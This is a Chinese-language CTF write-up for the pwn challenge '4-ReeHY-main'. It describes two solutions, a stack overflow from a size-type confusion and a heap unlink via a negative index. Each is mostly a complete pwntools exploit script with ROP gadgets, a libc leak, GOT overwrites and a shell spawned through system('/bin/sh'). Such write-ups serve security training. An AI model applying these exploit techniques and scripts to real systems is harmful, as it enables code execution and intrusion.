XCTF攻防世界(2019Xman第一阶段练习赛) Pwn 4-ReeHY-main 两种解法

 

一、栈溢出Getshell

分析

审计IDA代码，发现在create中存在栈溢出、类型转换漏洞。如下：

///栈空间布局  
  int result; // eax
  char buf; // [rsp+0h] [rbp-90h]
  void *dest; // [rsp+80h] [rbp-10h]
  int index; // [rsp+88h] [rbp-8h]
  size_t cin_num; // [rsp+8Ch] [rbp-4h]

1.逻辑漏洞，输入的nbytes可以<=0x1000

2.nbytes使用的eax，也就是四字节。

但在ssize_t read(int fd, void *buf, size_t nbytes)中，size_t 是无符号的，也就意味着，我们可以输入超长字符串。并在此覆盖栈空间。

3.我们必须要覆盖了cin_num，因为memcpy(dest, &buf, cin_num)的三个参数都需要为正常。既然覆盖，那么我们就需要填写上dest、index、cin_num；虽然这里也可以实现任意地址写，但是我们已经可以栈溢出控制程序流程咯。

利用

1.确定栈溢出中，dest、index、cin_num、ret的偏移。

2.找到需要的ROP，如：pop rdi，ret；若没有还有其他方法（这里就不说了）。构造payload，循环程序流程。

3.先泄漏libc地址，再计算出system、binsh的地址。Getshell。

Python脚本

from pwn import *

context.log_level="debug"

p=process("./4-ReeHY-main")
#p=remote("111.198.29.45",39294)
p.recvuntil("$")
p.sendline("kaller 2019")



def add_1(a,b,c):
    p.sendline("1")
    p.recvuntil("size\n")
    p.sendline(str(b))
    p.recvuntil("cun\n")
    p.sendline(str(a))
    p.recvuntil("content\n")
    p.send(c)



#--------------------list-------------------
puts_plt=0x00000000004006D0
free_got_addr=0x0000000000602018
read_got_addr=0x0000000000602030
main_call=0x0000000000400C8C
pop_rdi_ret=0x0000000000400da3
#-------------------------------------------

#
p.recvuntil("$")
payload="a"*(8*16)+p64(free_got_addr)+p32(0)+p32(8)+"\x00"*8
payload=payload+p64(pop_rdi_ret)+p64(read_got_addr)+p64(puts_plt)+p64(main_call)
add_1(0,-1,payload)
#-----------------libc_calc------------------
str_1=p.recvuntil("$")
leak_read_addr=u64(str_1[0:6]+"\x00\x00")
leak_system_addr=leak_read_addr-0xb1ec0
leak_binsh_addr=leak_read_addr+0x95b07
print "leak_read_addr=",hex(leak_read_addr)
#--------------------------------------------
#edb_attach()
p.sendline("zhukaikai")
p.recvuntil("$")
payload="a"*(8*16)+p64(free_got_addr)+p32(0)+p32(8)+"\x00"*8
payload=payload+p64(pop_rdi_ret)+p64(leak_binsh_addr)+p64(leak_system_addr)+p64(main_call)
add_1(0,-1,payload)




p.interactive()

二、Unlink漏洞

分析.

1.逻辑漏洞，添加时的index可以为负数。

2.List布局

00000000006020C0 list_size//存放malloc(0x14)_ptr
                    list_chunk     list_isUse
00000000006020E0   malloc()_ptr    0 or 1
----------------    ---------      --------

3.我们可以在添加功能中，使index=-2，这样list_size的内容就被我们任意控制，堆溢出。

4.既然实现了堆溢出，那么利用Unlink漏洞就可以实现任意地址写。

Python脚本.

from pwn import *
import os
context.log_level="debug"


p=process("./4-ReeHY-main")
#p=remote("111.198.29.45",39294)
p.recvuntil("$")
p.sendline("kaller 2019")
p.recvuntil("$")


def add_1(a,b,c):
    p.sendline("1")
    p.recvuntil("size\n")
    p.sendline(str(b))
    p.recvuntil("cun\n")
    p.sendline(str(a))
    p.recvuntil("content\n")
    p.send(c)
#set LD_PRELOAD="./libc.so.6"

def del_1(a):
    p.sendline("2")
    p.recvuntil("dele\n")
    p.sendline(str(a))

def edit_1(a,b):
    p.sendline("3")
    p.recvuntil("edit\n")
    p.sendline(str(a))
    p.recvuntil("content\n")
    p.send(b)



#--------------------list-------------------
puts_plt=0x00000000004006D0
free_got_addr=0x0000000000602018
read_got_addr=0x0000000000602030
main_call=0x0000000000400C8C
pop_rdi_ret=0x0000000000400da3
chunk_list_addr=0x006020e0
#-------------------------------------------



add_1(0,0x120,"a")
p.recvuntil("$")

add_1(1,0x120,"a")
p.recvuntil("$")

add_1(-2,0x50,p32(0x200)+p32(0x200))#控制list_size
p.recvuntil("$")



fake_chunk=p64(0)+p64(0)+p64(chunk_list_addr-0x18)+p64(chunk_list_addr-0x10)
payload=fake_chunk+('a'*(0x100))+p64(0x120)+p64(0x130)
edit_1(0,payload)#伪造堆块
p.recvuntil("$")

del_1(1)#触发Unlink()
p.recvuntil("$")
#这里已经可以任意地址写了。
payload="\x00"*0x18+p64(free_got_addr)+p64(1)+p64(read_got_addr)+p64(1)#写地址、
edit_1(0,payload)
p.recvuntil("$")

edit_1(0,p64(puts_plt))#写内容
p.recvuntil("$")

del_1(1)#泄漏read got中地址

#-----------------libc_calc------------------
str_1=p.recvuntil("$")
leak_read_addr=u64(str_1[0:6]+"\x00\x00")
leak_system_addr=leak_read_addr-0xb1ec0
leak_binsh_addr=leak_read_addr+0x95b07
print "leak_read_addr=",hex(leak_read_addr)
#--------------------------------------------

edit_1(0,p64(leak_system_addr))

add_1(2,0x50,"/bin/sh\x00")
p.recvuntil("$")
del_1(2)


p.interactive()